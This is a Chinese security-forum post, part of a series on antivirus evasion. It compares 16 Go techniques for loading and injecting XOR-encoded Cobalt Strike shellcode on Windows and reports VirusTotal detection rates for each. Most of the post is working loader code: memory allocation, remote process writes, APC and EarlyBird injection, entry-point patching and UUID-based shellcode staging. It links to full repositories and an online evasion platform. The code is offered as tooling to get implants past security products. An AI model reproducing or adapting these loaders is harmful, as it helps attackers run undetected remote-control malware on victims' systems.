安全矩阵

 找回密码
 立即注册
搜索
查看: 1359|回复: 0

远控免杀专题(76)-基于Go的各种API免杀测试

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-8-18 23:51:52 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2022-8-18 23:53 编辑

远控免杀专题(76)-基于Go的各种API免杀测试

​免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/
0x01 基于API的免杀测试1.1 介绍目前基于Go的免杀,很大一部分都是基于已有API来各种姿势的加载shellcode,再加上shellcode的加解密、代码混淆、加壳、条件执行等方法,从而规避杀软的检测。
基于Go的各种加载器也就是为shellcode申请一段内存,然后把指令寄存器指向shellcode的开头,让机器执行这段shellcode,而Go实现这个功能就需要调用windows API了。
本次所有测试代码:https://github.com/TideSec/GoBypassAV/下的Go_Windows_API目录,所有代码均可单独编译运行。
通过对Go免杀的研究,实现了一个在线免杀平台,目前生成x64位的免杀效果尚可,x86的效果一般。
潮影在线免杀平台:http://bypass.tidesec.com/
编辑
1.2 测试环境本文搜集汇总了网上各种基于Go的API代码实现方式,共16种,应该算是比较全面的了,逐一进行了免杀测试。

  •         测试环境:Win10 x64
  •         shellcode:CobalStrike 4.4生成的64位shellcode,使用了异或xor算法进行编码
  •         Golang版本:1.18.3
  •         测试参数:使用go build -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" 编译生成
  •         说明:方便对比起见,本次测试均未结合其他免杀方式。
CobalStrike 4.4生成的shellcode使用异或算法进行编码,异或代码在这里:https://github.com/TideSec/GoByp ... cryption/xor/xor.go
1.3 测试结果测试使用的平台为VT平台:https://virustotal.com/
编辑
API介绍部分参考piiperxyz大佬的https://github.com/piiperxyz/AniYa
0x02 不同API的免杀测试情况2.00 HelloTide测试(VT免杀率7/70)测试之前先用helloTide测试一下,发现VT的查杀率能到7/70,所以现在想把Go语言做到0免杀已经很难了,能达到10/70以下就算不错的了。在去年的时候还能用-race参数做到基本0免杀,但现在加上-race参数只会查杀更厉害。
编辑
package mainimport "fmt"func main(){ fmt.Println("Hello Tide")}
2.01 CreateFiber(VT免杀率18/70)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  3. VirtualAlloc := kernel32.NewProc("VirtualAlloc")
  4. VirtualProtect := kernel32.NewProc("VirtualProtect")
  5. RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
  6. ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
  7. CreateFiber := kernel32.NewProc("CreateFiber")
  8. SwitchToFiber := kernel32.NewProc("SwitchToFiber")
  9. fiberAddr, _, _ := ConvertThreadToFiber.Call()
  10. addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
  11. _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  12. oldProtect := PageReadwrite
  13. _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
  14. fiber, _, _ := CreateFiber.Call(0, addr, 0)
  15. _, _, _ = SwitchToFiber.Call(fiber)
  16. _, _, _ = SwitchToFiber.Call(fiberAddr)
复制代码


2.02 CreateProcessWithPipe(VT免杀率8/70)
编辑
核心代码
  1. VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  2. VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
  3. WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  4. NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")

  5. errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)

  6. addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
复制代码


2.03 CreateRemoteThread(VT免杀率8/70)
编辑
核心代码

  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  3. VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
  4. WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  5. CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
  6. pHandle, _ := windows.OpenProcess(
  7.     windows.PROCESS_CREATE_THREAD|
  8.         windows.PROCESS_VM_OPERATION|
  9.         windows.PROCESS_VM_WRITE|
  10.         windows.PROCESS_VM_READ|
  11.         windows.PROCESS_QUERY_INFORMATION,
  12.     false,
  13.     uint32(pid),
  14. )
  15. addr, _, _ := VirtualAllocEx.Call(
  16.     uintptr(pHandle),
  17.     0,
  18.     uintptr(len(shellcode)),
  19.     windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
  20. )
  21. fmt.Println("ok")
  22. _, _, _ = WriteProcessMemory.Call(
  23.     uintptr(pHandle),
  24.     addr,
  25.     (uintptr)(unsafe.Pointer(&shellcode[0])),
  26.     uintptr(len(shellcode)),
  27. )
  28. oldProtect := windows.PAGE_READWRITE
  29. _, _, _ = VirtualProtectEx.Call(
  30.     uintptr(pHandle),
  31.     addr,
  32.     uintptr(len(shellcode)),
  33.     windows.PAGE_EXECUTE_READ,
  34.     uintptr(unsafe.Pointer(&oldProtect)),
  35. )
  36. _, _, _ = CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
  37. _ = windows.CloseHandle(pHandle
复制代码

2.04 CreateRemoteThreadEx(VT免杀率9/70)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. OpenProcess := kernel32.NewProc("OpenProcess")
  3. VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  4. VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
  5. WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  6. CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
  7. CloseHandle := kernel32.NewProc("CloseHandle")
  8. pHandle, _, _ := OpenProcess.Call(
  9.     windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|
  10.         windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0,
  11.     uintptr(uint32(pid)),
  12. )
  13. addr, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)),
  14.     windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
  15. fmt.Println("ok")
  16. _, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
  17.     uintptr(len(shellcode)))
  18. oldProtect := windows.PAGE_READWRITE
  19. _, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
  20.     windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
  21. _, _, _ = CreateRemoteThreadEx.Call(pHandle, 0, 0, addr, 0, 0, 0)
  22. _, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))
复制代码


2.05 CreateThread(VT免杀率8/70)
编辑
核心代码
  1. addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)),
  2. windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
  3. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  4. RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
  5. _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  6. var oldProtect uint32
  7. _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
  8. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  9. CreateThread := kernel32.NewProc("CreateThread")
  10. thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
  11. _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
复制代码


2.06 CreateThreadNative(VT免杀率8/69)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  3. VirtualAlloc := kernel32.NewProc("VirtualAlloc")
  4. VirtualProtect := kernel32.NewProc("VirtualProtect")
  5. RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
  6. CreateThread := kernel32.NewProc("CreateThread")
  7. WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
  8. addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)),
  9.     MemCommit|MemReserve, PageReadwrite)
  10. _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
  11.     uintptr(len(shellcode)))
  12. oldProtect := PageReadwrite
  13. _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead,
  14.     uintptr(unsafe.Pointer(&oldProtect)))
  15. thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
  16. _, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)
复制代码


2.07 CreatProcess(VT免杀率8/70)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  3. VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  4. VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
  5. WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  6. NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
  7. procInfo := &windows.ProcessInformation{}
  8. startupInfo := &windows.StartupInfo{
  9.     Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
  10.     ShowWindow: 1,
  11. }
  12. appName, _ := syscall.UTF16PtrFromString(program)
  13. commandLine, _ := syscall.UTF16PtrFromString("")
  14. _ = windows.CreateProcess(
  15.     appName,
  16.     commandLine,
  17.     nil,
  18.     nil,
  19.     true,
  20.     windows.CREATE_SUSPENDED,
  21.     nil,
  22.     nil,
  23.     startupInfo,
  24.     procInfo,
  25. )
  26. addr, _, _ := VirtualAllocEx.Call(
  27.     uintptr(procInfo.Process),
  28.     0,
  29.     uintptr(len(shellcode)),
  30.     windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
  31. )
  32. fmt.Println("ok")
  33. _, _, _ = WriteProcessMemory.Call(
  34.     uintptr(procInfo.Process),
  35.     addr,
  36.     (uintptr)(unsafe.Pointer(&shellcode[0])),
  37.     uintptr(len(shellcode)),
  38. )
  39. oldProtect := windows.PAGE_READWRITE
  40. _, _, _ = VirtualProtectEx.Call(
  41.     uintptr(procInfo.Process),
  42.     addr,
  43.     uintptr(len(shellcode)),
  44.     windows.PAGE_EXECUTE_READ,
  45.     uintptr(unsafe.Pointer(&oldProtect)),
  46. )

  47. var processInformation ProcessBasicInformation
  48. var returnLength uintptr

  49. _, _, _ = NtQueryInformationProcess.Call(
  50.     uintptr(procInfo.Process),
  51.     0,
  52.     uintptr(unsafe.Pointer(&processInformation)),
  53.     unsafe.Sizeof(processInformation),
  54.     returnLength,
  55. )
  56. ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")

  57. var peb PEB
  58. var readBytes int32

  59. _, _, _ = ReadProcessMemory.Call(
  60.     uintptr(procInfo.Process),
  61.     processInformation.PebBaseAddress,
  62.     uintptr(unsafe.Pointer(&peb)),
  63.     unsafe.Sizeof(peb),
  64.     uintptr(unsafe.Pointer(&readBytes)),
  65. )

  66. var dosHeader ImageDosHeader
  67. var readBytes2 int32

  68. _, _, _ = ReadProcessMemory.Call(
  69.     uintptr(procInfo.Process),
  70.     peb.ImageBaseAddress,
  71.     uintptr(unsafe.Pointer(&dosHeader)),
  72.     unsafe.Sizeof(dosHeader),
  73.     uintptr(unsafe.Pointer(&readBytes2)),
  74. )

  75. var Signature uint32
  76. var readBytes3 int32

  77. _, _, _ = ReadProcessMemory.Call(
  78.     uintptr(procInfo.Process),
  79.     peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
  80.     uintptr(unsafe.Pointer(&Signature)),
  81.     unsafe.Sizeof(Signature),
  82.     uintptr(unsafe.Pointer(&readBytes3)),
  83. )

  84. var peHeader ImageFileHeader
  85. var readBytes4 int32

  86. _, _, _ = ReadProcessMemory.Call(
  87.     uintptr(procInfo.Process),
  88.     peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
  89.     uintptr(unsafe.Pointer(&peHeader)),
  90.     unsafe.Sizeof(peHeader),
  91.     uintptr(unsafe.Pointer(&readBytes4)),
  92. )

  93. var optHeader64 ImageOptionalHeader64
  94. var optHeader32 ImageOptionalHeader32
  95. var readBytes5 int32

  96. if peHeader.Machine == 34404 {
  97.     _, _, _ = ReadProcessMemory.Call(
  98.         uintptr(procInfo.Process),
  99.         peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
  100.         uintptr(unsafe.Pointer(&optHeader64)),
  101.         unsafe.Sizeof(optHeader64),
  102.         uintptr(unsafe.Pointer(&readBytes5)),
  103.     )
  104. } else if peHeader.Machine == 332 {
  105.     _, _, _ = ReadProcessMemory.Call(
  106.         uintptr(procInfo.Process),
  107.         peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
  108.         uintptr(unsafe.Pointer(&optHeader32)),
  109.         unsafe.Sizeof(optHeader32),
  110.         uintptr(unsafe.Pointer(&readBytes5)),
  111.     )
  112. }

  113. var ep uintptr
  114. if peHeader.Machine == 34404 {
  115.     ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
  116. } else if peHeader.Machine == 332 {
  117.     ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
  118. }

  119. var epBuffer []byte
  120. var shellcodeAddressBuffer []byte

  121. if peHeader.Machine == 34404 {
  122.     epBuffer = append(epBuffer, byte(0x48))
  123.     epBuffer = append(epBuffer, byte(0xb8))
  124.     shellcodeAddressBuffer = make([]byte, 8)
  125.     binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
  126.     epBuffer = append(epBuffer, shellcodeAddressBuffer...)
  127. } else if peHeader.Machine == 332 {
  128.     epBuffer = append(epBuffer, byte(0xb8))
  129.     shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
  130.     binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
  131.     epBuffer = append(epBuffer, shellcodeAddressBuffer...)
  132. }

  133. epBuffer = append(epBuffer, byte(0xff))
  134. epBuffer = append(epBuffer, byte(0xe0))

  135. _, _, _ = WriteProcessMemory.Call(
  136.     uintptr(procInfo.Process),
  137.     ep,
  138.     uintptr(unsafe.Pointer(&epBuffer[0])),
  139.     uintptr(len(epBuffer)),
  140. )

  141. _, _ = windows.ResumeThread(procInfo.Thread)
  142. _ = windows.CloseHandle(procInfo.Process)
  143. _ = windows.CloseHandle(procInfo.Thread)
复制代码


2.08 EarlyBird(VT免杀率6/69)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  3. VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
  4. WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  5. QueueUserAPC := kernel32.NewProc("QueueUserAPC")
  6. procInfo := &windows.ProcessInformation{}
  7. startupInfo := &windows.StartupInfo{
  8. Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
  9. ShowWindow: 1,
  10. }
  11. program, _ := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
  12. args, _ := syscall.UTF16PtrFromString("")
  13. _ = windows.CreateProcess(
  14. program,
  15. args,
  16. nil, nil, true,
  17. windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
  18. addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)),
  19. windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
  20. fmt.Println("ok")
  21. _, _, _ = WriteProcessMemory.Call(uintptr(procInfo.Process), addr,
  22. (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  23. oldProtect := windows.PAGE_READWRITE
  24. _, _, _ = VirtualProtectEx.Call(uintptr(procInfo.Process), addr,
  25. uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
  26. _, _, _ = QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
  27. _, _ = windows.ResumeThread(procInfo.Thread)
  28. _ = windows.CloseHandle(procInfo.Process)
  29. _ = windows.CloseHandle(procInfo.Thread)
复制代码


2.09 EtwpCreateEtwThread(VT免杀率9/70)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  3. VirtualAlloc := kernel32.NewProc("VirtualAlloc")
  4. VirtualProtect := kernel32.NewProc("VirtualProtect")
  5. RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
  6. EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
  7. WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
  8. addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)),
  9.     MemCommit|MemReserve, PageReadwrite)
  10. _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
  11.     uintptr(len(shellcode)))
  12. oldProtect := PageReadwrite
  13. _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)),
  14.     PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
  15. thread, _, _ := EtwpCreateEtwThread.Call(addr, uintptr(0))
  16. _, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)
复制代码


2.10 HeapAlloc(VT免杀率18/70)
编辑
核心代码
  1. shellSize := uintptr(len(shellcode))
  2. handle, _, _ := RtlCreateHeap.Call(0x00040000|0x00000002, 0, shellSize, shellSize, 0, 0)
  3. alloc, _, _ := RtlAllocateHeap.Call(handle, 0x00000008, shellSize)

  4. for index := uint32(0); index < uint32(len(shellcode)); index++ {
  5.     writePtr := unsafe.Pointer(alloc + uintptr(index))
  6.     v := (*byte)(writePtr)
  7.     *v = shellcode[index]
  8. }
  9. _, _, _ = syscall.Syscall(alloc, 0, 0, 0, 0)
复制代码


2.11 NtQueueApcThreadEx(VT免杀率9/70)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  3. VirtualAlloc := kernel32.NewProc("VirtualAlloc")
  4. VirtualProtect := kernel32.NewProc("VirtualProtect")
  5. GetCurrentThread := kernel32.NewProc("GetCurrentThread")
  6. RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
  7. NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
  8. addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
  9. fmt.Println("ok")
  10. _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  11. oldProtect := PageReadwrite
  12. _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
  13. thread, _, _ := GetCurrentThread.Call()
  14. _, _, _ = NtQueueApcThreadEx.Call(thread, 1, addr, 0, 0, 0)
复制代码


2.12 ProcCryptProtectMemory(VT免杀率18/70)
编辑
核心代码
  1. addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  2. if err != nil && err.Error() != "The operation completed successfully." {
  3.     syscall.Exit(0)
  4. }
  5. time.Sleep(2 * time.Second)
  6. _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
  7. procCryptProtectMemory.Call(uintptr(addr), uintptr(len(charcode)), uintptr(0x00))
  8. if err != nil && err.Error() != "The operation completed successfully." {
  9.     syscall.Exit(0)
  10. }

  11. time.Sleep(2 * time.Second)
  12. syscall.Syscall(addr, 0, 0, 0, 0)
复制代码


2.13 RtlCreateUserThread(VT免杀率8/69)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  2. ntdll := windows.NewLazySystemDLL("ntdll.dll")
  3. OpenProcess := kernel32.NewProc("OpenProcess")
  4. VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  5. VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
  6. WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  7. RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
  8. CloseHandle := kernel32.NewProc("CloseHandle")
  9. pHandle, _, _ := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|
  10.     windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
  11.     0, uintptr(uint32(pid)))
  12. addr, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)),
  13.     windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
  14. fmt.Println("ok")
  15. _, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
  16.     uintptr(len(shellcode)))
  17. oldProtect := windows.PAGE_READWRITE
  18. _, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
  19.     windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
  20. var tHandle uintptr
  21. _, _, _ = RtlCreateUserThread.Call(pHandle, 0, 0, 0, 0, 0, addr, 0,
  22.     uintptr(unsafe.Pointer(&tHandle)), 0)
  23. _, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))
复制代码


2.14 RtlMoveMemory(VT免杀率17/70)
编辑
核心代码
  1. addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  2. if addr == 0 {
  3.     checkErr(err)
  4. }
  5. _, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  6. checkErr(err)

  7. for j := 0; j < len(shellcode); j++ {
  8.     shellcode[j] = 0
  9. }
  10. for j := 0; j < len(shellcode); j++ {
  11.     shellcode[j] = 0
  12. }

  13. syscall.Syscall(addr, 0, 0, 0, 0)
复制代码


2.15 SyscallUnsafe(VT免杀率16/70)
编辑
核心代码
  1. func run(scd []byte) {

  2. ff := func() {}
  3. var oldfperms uint32
  4. if !VirtualProtect1(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&ff))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
  5. }

  6. **(**uintptr)(unsafe.Pointer(&ff)) = *(*uintptr)(unsafe.Pointer(&scd))
  7. var old uint32
  8. if !VirtualProtect1(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&scd))), uintptr(len(scd)), uint32(0x40), unsafe.Pointer(&old)) {
  9. }
  10. ff()
  11. }
复制代码


2.16 UuidFromString(VT免杀率19/70)
编辑
核心代码
  1. kernel32 := windows.NewLazySystemDLL("kernel32")
  2. rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
  3. heapCreate := kernel32.NewProc("HeapCreate")
  4. heapAlloc := kernel32.NewProc("HeapAlloc")
  5. enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
  6. uuidFromString := rpcrt4.NewProc("UuidFromStringA")
  7. heapAddr, _, _ := heapCreate.Call(0x00040000, 0, 0)
  8. addr, _, _ := heapAlloc.Call(heapAddr, 0, 0x00100000)
  9. addrPtr := addr
  10. for _, temp := range uuids {
  11.     u := append([]byte(temp), 0)
  12.     _, _, _ = uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
  13.     addrPtr += 16
  14. }
  15. _, _, _ = enumSystemLocalesA.Call(addr, 0)
复制代码


0x03 测试小结发现在使用GO进行免杀时,单纯使用API时有的效果还可以,但兼容性稳定性不一定好,而兼容性好使用较多的免杀效果又比较一般。
比如比较早期出现的Go加载器https://github.com/brimstone/go-shellcode就是用了上面2.15 SyscallUnsafe的方式,现在很多基于Go的免杀也都在使用这种API,目前VT免杀率16/70。
所以要想得到更好的免杀效果,还是要多种方式结合,下篇文章将总结一下Golang免杀的常见方式。多种方式结合,将会有更好的免杀效果。
0x04 参考资料本文内容参考节选自以下资料:
go-shellcode:https://github.com/Ne0nd0g/go-shellcode
GolangBypassAV:https://github.com/safe6Sec/GolangBypassAV
windows免杀:https://blog.z3ratu1.cn/windows免杀入门.htm
AniYa免杀:https://github.com/piiperxyz/AniYa
golang免杀初尝试:https://xz.aliyun.com/t/11279


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 22:47 , Processed in 0.016591 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表